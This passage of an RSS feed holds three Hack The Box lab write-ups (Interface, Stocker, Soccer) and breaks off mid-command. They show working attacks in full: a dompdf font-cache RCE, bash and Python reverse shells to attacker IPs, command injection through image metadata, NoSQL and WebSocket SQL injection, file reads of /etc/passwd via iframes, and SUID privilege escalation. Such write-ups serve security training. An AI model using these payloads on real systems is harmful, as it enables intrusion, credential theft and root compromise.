            <content:encoded><![CDATA[<h3>Interface — Hack The Box</h3><p>In this writeup, we will solve a box on hackthebox called Interface.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*uj1qA494x_Y6KgyZ.png" /></figure><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Ftenor.com%2Fembed%2F13506050&amp;display_name=Tenor&amp;url=https%3A%2F%2Ftenor.com%2Fview%2Fstart-bugs-bunny-ready-start-run-gif-13506050&amp;image=https%3A%2F%2Fmedia.tenor.com%2FOywDv9lFQaYAAAAC%2Fstart-bugs-bunny.gif&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=tenor" width="600" height="400" frameborder="0" scrolling="no"><a href="https://medium.com/media/824ad5d3d81c2aaff8dcff52847987b2/href">https://medium.com/media/824ad5d3d81c2aaff8dcff52847987b2/href</a></iframe><h3>Nmap Scan</h3><pre>nmap -sC -sV -Ao nmap/interface 10.10.11.200</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*eUI0C6dvIYRZSWxW.png" /></figure><p>we got an ssh port and an HTTP port open.</p><p>if we see the page source we got a mail for contact purposes</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/315/0*s3awuXkYGlZMu9Gk.png" /></figure><p>from this, we can derive that the domain must be the interface.htb.</p><p>save this to your /etc/hosts file</p><pre>echo 10.10.11.200 interface.htb &gt;&gt; /etc/hosts</pre><p>if we see the response of home page</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*9ieyUXy30fKhM329.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/466/0*il2u8g-B8UIrq2fw.png" /></figure><p>we got a subdomain related to this URL. Edit your /etc/hosts file and this link.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/497/0*Zpu3y_xBiJ_a61LY.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/565/0*99LR5Jkc3mPVaPm3.png" /></figure><pre>gobuster fuzz -u http://prd.m.rendering-api.interface.htb/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-small-directories.txt --exclude-length 0</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*J1l90ghP6obNSYal.png" /></figure><p>we got two directory API and vendor</p><p>if we further FUZZ the vendor directory we got a dompdf directory</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*ghkengcYZPNS6nOi.png" /></figure><ul><li><a href="https://www.optiv.com/insights/source-zero/blog/exploiting-rce-vulnerability-dompdf">Exploiting RCE Vulnerability in Dompdf</a></li><li><a href="https://snyk.io/blog/security-alert-php-pdf-library-dompdf-rce/">dompdf security alert: RCE vulnerability found in popular PHP PDF library | Snyk</a></li><li><a href="https://github.com/positive-security/dompdf-rce">GitHub - positive-security/dompdf-rce: RCE exploit for dompdf</a></li></ul><p>Dompdf is vulnerable to RCE so we need to find its endpoint where it is used</p><p>WE NEED TO FUZZ THE API ENDPONT AS POST REQUEST</p><pre>gobuster fuzz -u http://prd.m.rendering-api.interface.htb/api/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-small-directories.txt — exclude-length 50,0 -m POST</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*piuoMaGfN3dK19bP.png" /></figure><p>we got an endpoint html2pdf</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*uYfHgpzMmBDAoaBQ.png" /></figure><p>At this endpoint, we got the dompdf URL but we have some parameter requests as this is a post request we need to fuzz the body.</p><p>To do this we use ffuf:</p><pre>ffuf -w /usr/share/seclists/Discovery/Web-Content/raft-small-directories.txt -X POST -d ‘{“FUZZ”:”FUZZ”}’ -u http://prd.m.rendering-api.interface.htb/api/html2pdf</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*DnW34U5_iBcU3PWN.png" /></figure><p>we got the parameter as HTML</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*FE0fUUgRIafZT51M.png" /></figure><p>So we got the endpoint now we exploit the dompdf vulnerability.</p><p>clone the repository</p><pre>git clone https://github.com/positive-security/dompdf-rce.git</pre><p>exploit.css</p><pre>@font-face {<br>    font-family:&#39;exploitfont&#39;;<br>    src:url(https://medium.com/&#39;http://10.10.14.102:9999/exploit_font.php&#39;);<br>    font-weight:&#39;normal&#39;;<br>    font-style:&#39;normal&#39;;<br>  }</pre><p>exploit_font.php :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/648/0*ZJDIiMSL4CHkN1Nw.png" /></figure><pre>&lt;?php exec(&quot;/bin/bash -c &#39;bash -i &gt;&amp; /dev/tcp/10.10.14.102/1234 0&gt;&amp;1&#39;&quot;);</pre><p>Start the server on port 9999.</p><pre>python3 -m http.server 9999</pre><p>then send the request to include css file</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*cWibc4Fk1PbidKZq.png" /></figure><pre>&lt;link rel=stylesheet href=&#39;http://10.10.14.129:9999/exploit.css&#39;&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/663/0*jK11O2l_CFwDTTmY.png" /></figure><p>the server has our PHP payload on it now we need to invoke it.</p><p>but for that, we need to get the file name of the file</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*pEgR58A_W9KY5E2A.png" /></figure><p>NAME = exploitfont</p><p>FONT = normal</p><p>md5Hash of link in CSS file = 0221aea215efe139ca953353d240c6ea</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/530/0*ZCR2X1hzCCS-JbeO.png" /></figure><p>so our file name is exploitfont_normal_0221aea215efe139ca953353d240c6ea.php</p><p>send the request to the endpoint /vendor/dompdf/dompdf/lib/fonts/</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*_piq62BwYXHiffBR.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/651/0*UB3GJQme3vEvyJGl.png" /></figure><p>and we got our shell on the system.(you can get your user flag from the /home directory)</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Ftenor.com%2Fembed%2F22899252&amp;display_name=Tenor&amp;url=https%3A%2F%2Ftenor.com%2Fview%2Fwe-got-it-joey-friends-gif-22899252&amp;image=https%3A%2F%2Fmedia.tenor.com%2FZumETaXL7-sAAAAC%2Fwe-got.gif&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=tenor" width="600" height="400" frameborder="0" scrolling="no"><a href="https://medium.com/media/c419fa9e1b466ffc5282970fb6d3b3db/href">https://medium.com/media/c419fa9e1b466ffc5282970fb6d3b3db/href</a></iframe><h3>Privilege Escalation</h3><p>if we see the output of pspy it show a cronjob</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*PpnOWg5BmtHCJq3R.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*AtmtrnN47tw92s1r.png" /></figure><p>it’s a script to clean the /tmp directory if the metadata is dompdf</p><p>After some time I got to know that this script contains an UNQUOTED variable which means we can inject our own command into this script</p><p>we can craft our payload using this article</p><p><a href="https://unix.stackexchange.com/questions/78914/quoted-vs-unquoted-string-expansion">Quoted vs unquoted string expansion</a></p><pre>#!/bin/bash <br>/bin/bash -i &gt;&amp; /dev/tcp/10.10.14.105/3636 0&gt;&amp;1</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/488/0*Zg97Ix5vtotZ9HPc.png" /></figure><p>create a reverse shell file and put it into /var/www directory</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*Op5BSWHPe0eKe-HE.png" /></figure><p>chmod +x /var/www/shell.sh</p><p>now we need to create a file with metadata containing the producer field</p><p>payload : a[$(/var/www/shell.sh&gt;&amp;2)]</p><pre>a[$(&lt;command to execute here&gt;&gt;&amp;2)]</pre><p>NOTE: these should be no space in the command otherwise it will give you an error.</p><pre>exiftool -Producer=&#39;a[$(/var/www/shell.sh&gt;&amp;2)]&#39; overview.png</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/546/0*2To_Y6N6exLODgBX.png" /></figure><p>start the NC listener nc -nvlp 3636</p><p>now put the file in the /tmp directory</p><pre>wget http://10.10.14.105:9999/overview.png -O /tmp/test.png</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*fGQPMyy7jh15aCdY.png" /></figure><p>Now, wait for the script to execute by the cronjob.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*iuboDSwzWG82kcid.png" /></figure><p>and we got out reverse shell as the root user</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Ftenor.com%2Fembed%2F17371088&amp;display_name=Tenor&amp;url=https%3A%2F%2Ftenor.com%2Fview%2Fexcited-hockey-kid-yeah-yay-gif-17371088&amp;image=https%3A%2F%2Fmedia.tenor.com%2Foo6YIBG8_xIAAAAC%2Fexcited-hockey.gif&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=tenor" width="600" height="400" frameborder="0" scrolling="no"><a href="https://medium.com/media/f752dabc603ba809cfbb33b2c33fa17e/href">https://medium.com/media/f752dabc603ba809cfbb33b2c33fa17e/href</a></iframe><p><strong>That’s it! Hope you like this write-up!</strong></p><p><strong>Thanks for reading</strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c3280bbc0d6f" width="1" height="1" alt=""><hr><p><a href="https://systemweakness.com/interface-hack-the-box-c3280bbc0d6f">Interface — Hack The Box</a> was originally published in <a href="https://systemweakness.com/">System Weakness</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Stocker — Hack The Box]]></title>
            <link>https://systemweakness.com/stocker-hack-the-box-2803020f0213?source=rss-7be7762b0e12------2</link>
            <guid isPermaLink="false">https://medium.com/p/2803020f0213</guid>
            <category><![CDATA[hackthebox-writeup]]></category>
            <category><![CDATA[hackthebox]]></category>
            <category><![CDATA[information-security]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[nodejs]]></category>
            <dc:creator><![CDATA[Rahul Kumar]]></dc:creator>
            <pubDate>Fri, 12 May 2023 12:22:37 GMT</pubDate>
            <atom:updated>2023-06-23T15:53:55.721Z</atom:updated>
            <content:encoded><![CDATA[<h3>Stocker — Hack The Box</h3><p>In this writeup, we will solve a box on hackthebox called Stocker.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/690/0*c7HblBXSviDM2jXa.png" /></figure><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Ftenor.com%2Fembed%2F10750644&amp;display_name=Tenor&amp;url=https%3A%2F%2Ftenor.com%2Fview%2Fstalker-hamster-creepy-gif-10750644&amp;image=https%3A%2F%2Fmedia.tenor.com%2F5y2MdxDREtAAAAAC%2Fstalker-hamster.gif&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=tenor" width="600" height="400" frameborder="0" scrolling="no"><a href="https://medium.com/media/172fa75207969271d31e4587e6258f20/href">https://medium.com/media/172fa75207969271d31e4587e6258f20/href</a></iframe><p>Nmap Scan</p><pre>nmap -sC -sV -Ao nmap/stocker 10.10.11.196</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*vP5dVITWATTT9QhB.png" /></figure><p>From the Nmap scan, we get the HTTP URL for the web page.</p><pre>echo &quot;10.10.11.196 stocker.htb&quot; &gt;&gt; /etc/hosts</pre><h3>Web enumeration</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*A9q_urljDtoDBkfu.png" /></figure><p>There is nothing much on the home page.</p><h3>Subdomain enumeration</h3><pre>gobuster vhost -u http://stocker.htb/ -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*LeJkbPbTVHuDCmaI.png" /></figure><p>Add the subdomain in the /etc/hosts file</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/699/0*2Orj2NK76WM6Ljsw.png" /></figure><p>if we intercept the login request.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*0Bf-zk7Jv_X5nFiR.png" /></figure><p>This web page is vulnerable to NoSQL injection</p><p><a href="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/NoSQL%20Injection">PayloadsAllTheThings/NoSQL Injection at master · swisskyrepo/PayloadsAllTheThings</a></p><p>But the SQL injection was not working in the DATA FORM</p><p>We can send the data in JSON can try to inject the values \</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/251/0*nF3Fxfjtasqu6U3G.png" /></figure><p>change the content type to application/JSON</p><p>can payload to</p><pre>{&quot;username&quot;: {&quot;$ne&quot;: null}, &quot;password&quot;: {&quot;$ne&quot;: null}}</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/182/0*BVM5jV0b_5BbswL_.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/433/0*aAiw1Z-mijfPkxwj.png" /></figure><p>we got in and were redirected to /stock</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*fPm1QynQhud7aSp2.png" /></figure><p>if we look at the source code of the website</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*Dvp9jz-oKZP8cj0a.png" /></figure><p>we got an API /api/order to make an order that sends basket as a parameter</p><p>and if the order is successful they can see the order details on /api/po/{ordeid}</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*5OhkqZC7htm-lr9U.png" /></figure><p>at /api/po/{ordeid} is a dynamic pdf maker</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*1E3Z_q9ZHwAILxNe.png" /></figure><p><a href="https://book.hacktricks.xyz/pentesting-web/xss-cross-site-scripting/server-side-xss-dynamic-pdf">Server Side XSS (Dynamic PDF) | HackTricks | HackTricks</a></p><p>some dynamic pdf are vulnerable to XSS vulnerability</p><p>change the title in the /api/order</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/280/0*w3ofsDb7obBvdGMp.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*Ybb6RCYyjLlCC_lN.png" /></figure><p>get the order id and see the order details on /api/po/{orderid}</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/573/0*dXc46Nj0HbUyvYtu.png" /></figure><h3>XSS to ssrf</h3><pre>&lt;iframe src=file:///etc/passwd height=1000px width=1000px&gt;&lt;/iframe&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*CufVlLuKYVHjrYEE.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/607/0*2rxA8nqEBfoMK1YZ.png" /></figure><p>we are able to get the ssrf response</p><p>from the /etc/passwd file we got the username as angoose</p><pre>&lt;iframe src=file:///var/www/dev/index.js height=1000px width=1000px&gt;&lt;/iframe&gt;</pre><p>As we have a subdomain and it’s a login page we can see the code of that page.\</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*i6eUTxcdUfQis51Z.png" /></figure><p>we got the password for the user</p><p>let ssh into the machine.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/610/0*2dSb4fBF_Rz6jiZ3.png" /></figure><h3>Privilege Escalation</h3><p>If we see what we can run as sudo user using sudo -l</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*gfONalvxXqgMjH4Y.png" /></figure><p>we got a wildcard in the path so we can inject another path in place of that wildcard</p><p>but we need to make a node js script to execute a command</p><p><a href="https://stackabuse.com/executing-shell-commands-with-node-js/">Executing Shell Commands with Node.js</a></p><pre>const { exec } = require(&quot;child_process&quot;);<br>exec(&quot;chmod u+s /bin/bash&quot;, (error, stdout, stderr) =&gt; {<br>    if (error) {<br>        console.log(`error: ${error.message}`);<br>        return;<br>    }<br>    if (stderr) {<br>        console.log(`stderr: ${stderr}`);<br>        return;<br>    }<br>    console.log(`stdout: ${stdout}`);<br>});</pre><p>create a file in /tmp directory</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/513/0*IEnO4_lTO2NDz2V0.png" /></figure><pre>sudo /usr/bin/node /usr/local/scripts/../../../../../../tmp/test.js</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*Kn0kymld1KUM4XNP.png" /></figure><p>now let’s get our flag</p><p>/bin/bash -p</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/482/0*ev8BBTzY_3Ih20N-.png" /></figure><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Ftenor.com%2Fembed%2F22546129&amp;display_name=Tenor&amp;url=https%3A%2F%2Ftenor.com%2Fview%2Fcalishibe714-doge-dogearmy-celebrate-we-did-it-gif-22546129&amp;image=https%3A%2F%2Fmedia.tenor.com%2F8I6ROiKw3z0AAAAC%2Fcalishibe714-doge.gif&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=tenor" width="600" height="400" frameborder="0" scrolling="no"><a href="https://medium.com/media/61caf82b99a2ce03a1b6ff722b7344ae/href">https://medium.com/media/61caf82b99a2ce03a1b6ff722b7344ae/href</a></iframe><p><strong>That’s it! Hope you like this write-up!</strong></p><p><strong>Thanks for reading</strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=2803020f0213" width="1" height="1" alt=""><hr><p><a href="https://systemweakness.com/stocker-hack-the-box-2803020f0213">Stocker — Hack The Box</a> was originally published in <a href="https://systemweakness.com/">System Weakness</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Soccer — Hack The Box]]></title>
            <link>https://medium.com/@rahulkumarmk/soccer-hack-the-box-7b53de2ce93e?source=rss-7be7762b0e12------2</link>
            <guid isPermaLink="false">https://medium.com/p/7b53de2ce93e</guid>
            <category><![CDATA[infosec]]></category>
            <category><![CDATA[hackthebox-walkthrough]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[hackthebox]]></category>
            <category><![CDATA[hackthebox-writeup]]></category>
            <dc:creator><![CDATA[Rahul Kumar]]></dc:creator>
            <pubDate>Fri, 12 May 2023 12:21:05 GMT</pubDate>
            <atom:updated>2023-05-12T12:21:05.679Z</atom:updated>
            <content:encoded><![CDATA[<h3>Soccer — Hack The Box</h3><p><a href="https://app.hackthebox.com/machines/Soccer">Hack The Box</a></p><p>In this blog, we will solve a box on hackthebox called <strong>Soccer</strong>. It is the last box published on hackthebox for the year 2022.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*mgF8pqQF7IoA8PPK.png" /></figure><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Ftenor.com%2Fembed%2F26168193&amp;display_name=Tenor&amp;url=https%3A%2F%2Ftenor.com%2Fview%2Fshaolin-soccer-soccer-gif-26168193&amp;image=https%3A%2F%2Fmedia.tenor.com%2F7eNbay5pLu8AAAAM%2Fshaolin-soccer-soccer.gif&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=tenor" width="600" height="400" frameborder="0" scrolling="no"><a href="https://medium.com/media/887a3e4c4b227ac5b6bd668f890ee874/href">https://medium.com/media/887a3e4c4b227ac5b6bd668f890ee874/href</a></iframe><p>We start with a Nmap scan.</p><pre>nmap -sC -sV -Ao nmap/soccer 10.129.91.96</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*VY4pgr_421beG1GJ.png" /></figure><p>we have 3 ports open one ssh HTTP and 9091 is used for WebSockets</p><p>so let’s enumerate port 80</p><pre>echo 10.129.91.96 soccer.htb &gt;&gt; /etc/hosts</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*cC6_hr-VSgO_dglN.png" /></figure><p>we got a good website on football with nothing on it.</p><pre>gobuster dir -u http://soccer.htb/ -w /usr/share/seclists/Discovery/Web-Content/directory-list-1.0.txt -t 50</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*HkW8vWCC9X1Pn3z4.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/641/0*xm3ZAbsd3j3WqFc6.png" /></figure><p><a href="https://github.com/prasathmani/tinyfilemanager">GitHub - prasathmani/tinyfilemanager: Single-file PHP file manager, browser and manage your files efficiently and easily with tinyfilemanager</a></p><p>If we see the documentation of this application we can try to log in with default credentials</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*mIDKhfvMVDZBQzDT.png" /></figure><p>With admin/admin@123 we can log in to the file manager.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*zNAqxKDWyByFBCxT.png" /></figure><p>We can upload a PHP reverse-shell into the tiny/upload directory as we can only upload there</p><p><a href="https://github.com/pentestmonkey/php-reverse-shell">GitHub - pentestmonkey/php-reverse-shell</a></p><p>After uploading access the shell code through the web browser also before that start a Netcat listener of the port specified in the reverse shell</p><p>And we got a shell on the system</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*7mjXS_7lmvSiAueo.png" /></figure><p>as we can see in the /etc/hosts file, there is another domain that we can enumerate</p><blockquote><em>soc-player.soccer.htb</em></blockquote><p>make the entry in your /etc/hosts file</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/406/0*nF8o0FmI2rB_jbmj.png" /></figure><p>on soc-player.htb</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*ubNZKUWsM0ISBkk1.png" /></figure><p>we got a similar page here also but with login functionality.</p><p>Sign up for an account</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*hl0Jx_sVQGmVvmTJ.png" /></figure><p>After login, we can see that we have a ticket-checking system</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/645/0*tLQXNEmH2OoiV2Yl.png" /></figure><p>and also this work on node js</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/438/0*mP_nCIozrQKASjjv.png" /></figure><p>if we check our ticket</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/511/0*k0tcFS8ijj_qmUNU.png" /></figure><p>It shows that it does exist</p><p>if we check burp this info we fetched using WebSocket</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*K4-2yezuch9eD_VT.png" /></figure><p>after some googling about this</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2FWTDqlunipXE%3Ffeature%3Doembed&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DWTDqlunipXE&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2FWTDqlunipXE%2Fhqdefault.jpg&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/f49503f76bad906684bfc219b24d83ba/href">https://medium.com/media/f49503f76bad906684bfc219b24d83ba/href</a></iframe><p>Found that socket can be vulnerable to blind SQL injection</p><p><a href="https://rayhan0x01.github.io/ctf/2021/04/02/blind-sqli-over-websocket-automation.html">Automating Blind SQL injection over WebSocket</a></p><p>First, change the URL to</p><p>Then employeeID to id</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/333/0*svgmqE-TJ_zqZO4k.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/281/0*qrMbJOwZ5kKHeguW.png" /></figure><pre>from http.server import SimpleHTTPRequestHandler<br>from socketserver import TCPServer<br>from urllib.parse import unquote, urlparse<br>from websocket import create_connection<br>ws_server = &quot;ws://soc-player.soccer.htb:9091/&quot;<br>def send_ws(payload):<br> ws = create_connection(ws_server)<br> # If the server returns a response on connect, use below line <br> #resp = ws.recv() # If server returns something like a token on connect you can find and extract from here<br> <br> # For our case, format the payload in JSON<br> message = unquote(payload).replace(&#39;&quot;&#39;,&#39;\&#39;&#39;) # replacing &quot; with &#39; to avoid breaking JSON structure<br> data = &#39;{&quot;id&quot;:&quot;%s&quot;}&#39; % message<br> ws.send(data)<br> resp = ws.recv()<br> ws.close()<br> if resp:<br>  return resp<br> else:<br>  return &#39;&#39;<br>def middleware_server(host_port,content_type=&quot;text/plain&quot;):<br> class CustomHandler(SimpleHTTPRequestHandler):<br>  def do_GET(self) -&gt; None:<br>   self.send_response(200)<br>   try:<br>    payload = urlparse(self.path).query.split(&#39;=&#39;,1)[1]<br>   except IndexError:<br>    payload = False<br>    <br>   if payload:<br>    content = send_ws(payload)<br>   else:<br>    content = &#39;No parameters specified!&#39;<br>   self.send_header(&quot;Content-type&quot;, content_type)<br>   self.end_headers()<br>   self.wfile.write(content.encode())<br>   return<br> class _TCPServer(TCPServer):<br>  allow_reuse_address = True<br> httpd = _TCPServer(host_port, CustomHandler)<br> httpd.serve_forever()<br>print(&quot;[+] Starting MiddleWare Server&quot;)<br>print(&quot;[+] Send payloads in http://localhost:8081/?id=*&quot;)<br>try:<br> middleware_server((&#39;0.0.0.0&#39;,8081))<br>except KeyboardInterrupt:<br> pass</pre><p>run the exploit</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/451/0*AXcwqoKgdZ_QTaba.png" /></figure><pre>sqlmap -u “http://localhost:8081/?id=&quot;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*36WkZ3ET9kmyVbmk.png" /></figure><p>SQL map got a time base SQL injection in the WebSocket.</p><pre>sqlmap -u “http://localhost:8081/?id=&quot; --current-db</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*FGvDbQqzeQdq3JuR.png" /></figure><p>we are currently in the soccer_db database</p><pre>sqlmap -u “http://localhost:8081/?id=&quot; -D soccer_db --tables</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*wA-V5VJAjmo1wnBK.png" /></figure><p>we got one table called accounts</p><p>let’s dump its data</p><pre>sqlmap -u &quot;http://localhost:8081/?id=&quot; -D soccer_db -T accounts --dump</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*ad3ZpjjvZxjh3J6x.png" /></figure><p>we can ssh into the machine with these credentials</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*S9AC85D9ZIXVIXzX.png" /></figure><p>and we are in as user player.</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Ftenor.com%2Fembed%2F10237340&amp;display_name=Tenor&amp;url=https%3A%2F%2Ftenor.com%2Fview%2Fshaolin-soccer-stephen-chow-kung-fu-%25E5%25B0%2591%25E6%259E%2597%25E5%25AF%25BA-gif-10237340&amp;image=https%3A%2F%2Fmedia.tenor.com%2FUkhoaUruQhkAAAAC%2Fshaolin-soccer-stephen-chow.gif&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=tenor" width="600" height="400" frameborder="0" scrolling="no"><a href="https://medium.com/media/b70070f692c2deca9b5df5ec09694ee5/href">https://medium.com/media/b70070f692c2deca9b5df5ec09694ee5/href</a></iframe><h3>PRIVILEGE ESCALATION TO ROOT</h3><p>For basic enumeration, we can run linpeas on the system.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*Lsc5S6jtFNhof8Se.png" /></figure><p>if we see the output of the file we can see that the player can run the command as the root user</p><ol><li>What is Doas</li></ol><p><a href="https://man.openbsd.org/doas">https://man.openbsd.org/doas</a></p><blockquote><em>The </em><strong><em>doas</em></strong><em> utility executes the given command as another user. The command argument is mandatory unless </em><strong><em>-C</em></strong><em>, </em><strong><em>-L</em></strong><em>, or </em><strong><em>-s</em></strong><em> is specified.</em></blockquote><blockquote><em>The user will be required to authenticate by entering their password, unless configured otherwise.</em></blockquote><p>So it’s like a sudo utility and we can run dstat as the root user</p><p><em>basically, it’s like the Sudo -l where we find the command we can run as sudo user</em></p><p>2. What is dstat</p><p><a href="https://linux.die.net/man/1/dstat">dstat(1) - Linux man page</a></p><blockquote><em>Dstat is a versatile replacement for vmstat, iostat and ifstat. Dstat overcomes some of the limitations and adds some extra features.</em></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*cCIK0CwsyGpaCLbc.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*PM1vS_crxzP57a88.png" /></figure><pre>find / -name dstat -type d 2&gt;/dev/null</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/583/0*5tXbPFTLlatGCqFE.png" /></figure><p>if we see /usr/share/dstat/</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*w6Ca4Lz-XoXX-RUb.png" /></figure><p>we can see different plugins that dstat can use.</p><p>all are written in python and with a prefix of dstat_**</p><pre>touch dstat_rev.py</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/414/0*S7nOu8JVeTY3QhCY.png" /></figure><p>first, create a plugin in the /tmp directory</p><p>Name dstat_lemon.py</p><pre>import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“10.10.14.96”,9999));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn(“/bin/sh”)</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/268/0*B43AFfsUwv1plOVo.png" /></figure><p>start the NC listener</p><pre>nc -nvlp 